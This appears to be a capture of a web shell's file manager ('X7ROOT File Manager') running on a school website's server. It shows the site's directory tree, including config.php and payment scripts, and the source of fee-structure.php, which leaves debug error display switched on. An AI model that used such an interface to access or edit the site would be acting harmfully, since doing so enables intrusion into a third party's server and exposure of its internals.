X7ROOT File Manager
Current Path:
/home/u126090504/domains/svmbaripada.org.in/public_html
home
/
u126090504
/
domains
/
svmbaripada.org.in
/
public_html
/
📄
+2-science-&-+2arts.php
(8.87 KB)
📁
..
📄
.htaccess
(1.12 KB)
📄
Antiraging-Cell.php
(2.73 KB)
📄
about-us.php
(8.85 KB)
📄
academic-calendar.php
(2.73 KB)
📄
achievements.php
(9.56 KB)
📄
achievers.php
(15.19 KB)
📁
admin
📄
admission-process.php
(9.23 KB)
📄
admission.php
(13.96 KB)
📄
admission_submit.php
(3.38 KB)
📄
album.php
(890 B)
📄
assessment-policy.php
(7.08 KB)
📄
class-1-to-5th.php
(7.78 KB)
📄
class6th-to-10th.php
(7.96 KB)
📄
computer-courses.php
(22.83 KB)
📄
config.php
(1.21 KB)
📄
contact-us.php
(14.63 KB)
📄
contactdb.php
(796 B)
📄
courses.php
(10.44 KB)
📁
css
📄
director's-message.php
(6.49 KB)
📄
downloads.php
(2.9 KB)
📄
error.log
(14.6 KB)
📄
facilities.php
(6.57 KB)
📄
faculty.php
(10.27 KB)
📄
fee-structure.php
(7.97 KB)
📁
fonts
📄
footer.php
(17.95 KB)
📄
franchise.php
(2.09 KB)
📄
gallery.php
(3.05 KB)
📄
grievance-form.php
(16.84 KB)
📄
header.php
(20.08 KB)
📄
homework.php
(9.64 KB)
📁
images
📄
index.php
(46.64 KB)
📄
infrastructure-details.php
(5.48 KB)
📁
js
📁
lib
📄
managing-committee.php
(3.34 KB)
📄
media-corner.php
(2.48 KB)
📄
non-academic-achievers.php
(14.65 KB)
📄
payment.php
(23.12 KB)
📄
payment_submit.php
(15.1 KB)
📄
payment_verify.php
(2.31 KB)
📄
peret.php
(266.87 KB)
📄
placement.php
(8.33 KB)
📄
principal's-message.php
(6.33 KB)
📄
public-disclosure.php
(3.38 KB)
📁
qrcodes
📁
revolution
📄
scope.php
(14.14 KB)
📄
search_videos.php
(1.76 KB)
📄
shyam-classes.php
(6.91 KB)
📄
submit-grievance.php
(3.88 KB)
📄
thank-you.php
(1.28 KB)
📁
uploads
📄
videos.php
(6.87 KB)
Editing: fee-structure.php
<?php include("header.php"); ?><!--header end--> <?php // ===== DEBUG (page-only; remove on production) ===== ini_set('display_errors', 1); error_reporting(E_ALL); // ===== DB connect ===== require_once 'config.php'; // Normalize $docs and $dbError to avoid white screens $docs = []; $dbError = ''; // Helper: fetch docs via PDO or MySQLi function fetch_fee_docs(&$dbError) { // Detect PDO if (isset($GLOBALS['pdo']) && $GLOBALS['pdo'] instanceof PDO) { try { $GLOBALS['pdo']->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $GLOBALS['pdo']->query("SELECT * FROM fee_documents WHERE is_active = 1 ORDER BY display_order ASC, uploaded_at DESC"); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (Throwable $e) { $dbError = 'PDO error: ' . $e->getMessage(); return []; } } // Detect MySQLi if (isset($GLOBALS['conn']) && $GLOBALS['conn'] instanceof mysqli) { try { $sql = "SELECT * FROM fee_documents WHERE is_active = 1 ORDER BY display_order ASC, uploaded_at DESC"; $res = $GLOBALS['conn']->query($sql); if (!$res) { $dbError = 'MySQLi error: ' . $GLOBALS['conn']->error; return []; } $rows = []; while ($row = $res->fetch_assoc()) { $rows[] = $row; } return $rows; } catch (Throwable $e) { $dbError = 'MySQLi exception: ' . $e->getMessage(); return []; } } $dbError = 'No DB handle found. Make sure config.php sets $pdo (PDO) or $conn (MySQLi).'; return []; } $docs = fetch_fee_docs($dbError); ?> <!-- page-title --> <div class="ttm-page-title-row"> <div class="ttm-page-title-row-inner ttm-textcolor-white"> <div class="container"> <div class="row align-items-center"> <div class="col-lg-12"> <div class="page-title-heading"> <h2 class="title">Fee Structure</h2> </div> </div> </div> </div> </div> </div><!-- page-title end--> <!--site-main start--> <div class="site-main"> <!-- ===== Fee Structure (Dynamic) ===== --> <section id="fee-structure" class="fee-wrap" aria-label="Fee Structure"> <style> .fee-wrap{ --brand:#ea0000; --dark:#000; --muted:#6f6f6f; --ring:rgba(234,0,0,.12); padding: 40px 0 80px; background:#ffffff; font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial; } .debug-banner{ max-width:1100px; margin:0 auto 12px; padding:10px 14px; background:#ffe8e8; color:#8a1f1f; border-radius:12px; border:1px solid #ffd2d2; font-size:13px; } .fee-head{max-width:1100px; margin:0 auto 16px; padding:0 16px;} .fee-head h3{margin:0; font-size:28px; letter-spacing:.2px; color:#111;} .fee-head p{margin:.35rem 0 0; color:var(--muted);} .fee-grid{max-width:1100px; margin:0 auto; padding:0 16px; display:grid; gap:16px;} .fee-card{ background:linear-gradient(180deg, #fff, #fbfbfd); border:1px solid #eee; border-radius:18px; box-shadow:0 10px 30px rgba(0,0,0,.08), 0 0 0 6px var(--ring); overflow:hidden; position:relative; } .fee-meta{display:flex; justify-content:space-between; align-items:center; padding:14px 16px; border-bottom:1px dashed #ececec;} .fee-meta strong{font-size:16px; color:#111;} .fee-meta .sub{font-size:12px; color:#8a8a8a; margin-top:2px;} .tag{font-size:12px; padding:4px 10px; border-radius:999px; background:#ffecec; color:#b10000; font-weight:700;} .viewer{height:80vh; overflow:auto; scroll-behavior:smooth; position:relative; -webkit-overflow-scrolling:touch;} .viewer::-webkit-scrollbar{width:10px; height:10px} .viewer::-webkit-scrollbar-thumb{background:#d8d8d8; border-radius:10px} .viewer::-webkit-scrollbar-track{background:#f3f3f3} .pdf-frame{width:100%; height:100%; border:0; display:block;} .img-scroll{height:100%; width:100%; overflow:auto; position:relative;} .img-scroll img{display:block; max-width:none; height:auto;} .scroll-hint{ position:absolute; right:12px; bottom:12px; background:rgba(0,0,0,.6); color:#fff; padding:6px 10px; border-radius:10px; font-size:12px; pointer-events:none; animation:floaty 2.4s infinite ease-in-out; } @keyframes floaty{0%{transform:translateY(0)}50%{transform:translateY(-4px)}100%{transform:translateY(0)}} .actions{display:flex; gap:10px; padding:12px 16px; border-top:1px dashed #ececec; background:#fafafa;} .btn-fee{padding:8px 12px; border-radius:10px; text-decoration:none; font-weight:700; display:inline-block} .btn-primary{background:#ea0000; color:#fff;} .btn-dark{background:#111; color:#fff;} @media (max-width:768px){ .fee-head h3{font-size:22px;} .viewer{height:70vh;} } </style> <?php if ($dbError): ?> <div class="debug-banner"> <strong>Debug:</strong> <?php echo htmlspecialchars($dbError); ?><br> Hint: Check <code>config.php</code>, DB credentials, and confirm table <code>fee_documents</code> exists. </div> <?php endif; ?> <div class="fee-head"> <h3>Latest Fee Structure</h3> </div> <div class="fee-grid"> <?php if (empty($docs)): ?> <article class="fee-card"> <div class="fee-meta"> <div> <strong>No file found</strong> <div class="sub">Upload from admin, or activate at least one file.</div> </div> <span class="tag">EMPTY</span> </div> <div class="viewer" style="display:flex; align-items:center; justify-content:center; color:#888;"> Nothing to show. </div> </article> <?php else: ?> <?php foreach ($docs as $doc): $isPdf = (isset($doc['file_type']) && $doc['file_type'] === 'pdf'); ?> <article class="fee-card"> <div class="fee-meta"> <div> <strong><?php echo htmlspecialchars($doc['title'] ?? 'Untitled'); ?></strong> <div class="sub"> Uploaded: <?php $ts = isset($doc['uploaded_at']) ? strtotime($doc['uploaded_at']) : false; echo $ts ? date('d M Y, h:i A', $ts) : '—'; ?> </div> </div> <span class="tag"><?php echo strtoupper($doc['file_type'] ?? 'FILE'); ?></span> </div> <div class="viewer" data-type="<?php echo $isPdf ? 'pdf' : 'image'; ?>"> <?php if ($isPdf): ?> <iframe class="pdf-frame" src="<?php echo htmlspecialchars($doc['file_path']); ?>#view=FitH&navpanes=0&toolbar=0&scrollbar=1"> </iframe> <div class="scroll-hint">Scroll to view PDF</div> <?php else: ?> <div class="img-scroll"> <img src="<?php echo htmlspecialchars($doc['file_path']); ?>" alt="<?php echo htmlspecialchars($doc['title'] ?? 'Fee Structure'); ?>"> </div> <div class="scroll-hint">Scroll to view image</div> <?php endif; ?> </div> <div class="actions"> <a class="btn-fee btn-primary" href="<?php echo htmlspecialchars($doc['file_path']); ?>" target="_blank">Open in New Tab</a> <a class="btn-fee btn-dark" href="<?php echo htmlspecialchars($doc['file_path']); ?>" download>Download</a> </div> </article> <?php endforeach; ?> <?php endif; ?> </div> </section> <!-- ===== /Fee Structure ===== --> </div><!--site-main end--> <!--footer start--> <?php include("footer.php"); ?> <!--footer end-->
Upload File
Create Folder